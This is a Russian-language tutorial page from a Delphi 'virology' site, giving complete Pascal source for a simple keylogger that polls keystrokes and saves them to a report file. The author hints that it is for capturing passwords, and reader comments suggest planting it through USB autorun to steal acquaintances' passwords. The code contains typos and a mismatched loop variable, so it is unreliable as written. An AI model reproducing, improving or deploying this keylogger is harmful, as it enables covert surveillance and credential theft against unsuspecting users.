Пишем простейший клавиатурный шпион - Вирусология - Delphi - Каталог статей - Вирусология, взгляд из Delphi
Суббота, 10.12.2016, 21:28 Приветствую вас Гость | Группа "Гости" 


Меню сайта

Категории раздела
Вирусология [39]
Статьи о вирусах
Системные [0]
Работа с системой
Примеры [44]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Приколы [5]
Пишем шуточные програмки
Остальное [5]
Всё что не вошло

Помощь проекту

R106276538945
Z160640024212

Яндекс деньги
410011190732605

Недавние темы

Опрос
Что бы вы хотели видеть на моём сайте?
Всего ответов: 464

Главная » Статьи » Delphi » Вирусология

Пишем простейший клавиатурный шпион

В данной статье рассмотрим простейший пример keylogger (клавиатурный шпион). Keylogger (кейлоггер) — (англ. key — клавиша и logger — регистрирующее устройство) — это программное обеспечение или аппаратное устройство, регистрирующее каждое нажатие клавиши на клавиатуре компьютера (http://ru.wikipedia.org/wiki/Keylogger). В нашем случае программа будет опрашивать состояние клавиш, затем сохранять их значение в файл. На изображении показан файл программы и её отчет (перехваченные данные), реализации автозагрузки, шифровки и отправки отчета на электронный почтовый ящик в этой статье не будет

Program KLogger;

Uses Windows;

const FlName='kbd_report.txt';

wait=50;

var wndh:Cardinal;

wndtxt:array[0..255]of char;

wndclass:array[0..255]of char;

cstr:string='';

num:integer;

function izex(path:pchar):boolean;{проверка наличия файла на диске}

begin Result:=true; if GetFileAttributes(path)=DWord(-1) then result:=false;

end;

function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}

begin Result:=(GetForegroundWindow()=wH);

end;

procedure writer(value:string);{запись значений нажатых клавиш на диск}

var F:TextFile;

i:integer;

begin

AssignFile(F,FLName);

if izex(FLName) then Append(F)

else

Rewrite(F);

for i:=1 to lemgth(value) do

write(F,value[i]);

CloseFile(F);

end;

BEGIN While true do

begin

wndh:=GetForegroundWindow();

while ontop(wndh) do begin For num:=8 to 90 do

begin if GetAsyncKeyState(i)=-$7FFF then if GetKeyState(i)<>0 then

cstr:=cstr+chr(i);

end;

end;

if cstr<>'' then writer(cstr); Sleep(wait); cstr:='';

end;

END.


Ну вот и всё, простейший кейлоггер готов, реализацию отлова русских и спец символов додумывайте сами. PS пароли и логины обычно состоят из английских букв, цифр и спец. символов.

Категория: Вирусология | Добавил: boombaza (24.02.2010) | Автор: Boombaza
Просмотров: 8704 | Комментарии: 4 | Рейтинг: 4.6/8

Всего комментариев: 4
avatar
1
Хорошая статья !
avatar
2
Можно на флэшке Autorun создать и пока юзерЬ сидит и скачивает данные с флэшки кей логер уже пашет! Если вы в гостях то некоторые не вынемают флэшку а заходят в нет и сидят а када уходишь забираешь флэшку (так можно стырить пароли знакомых)
avatar
3
С авторанчиком хорошо заметил
avatar
4
А куда все символы будут сохраняться?И как их открыть7
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка

Вирусология, взгляд из Delphi



Статистика
HSDN :: Рейтинг сайтов WOlist.ru - каталог качественных сайтов Рунета Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 364
Форум: 1128/7979
Коментариев: 760
Новостей: 27

Статистика пользователей
Всего: 385
За неделю: 2
Вчера: 0
Сегодня: 0
Всего онлайн: 2
Гостей: 2
Пользователей: 0

delfcode.ru © 2008 - 2016 Хостинг от uCoz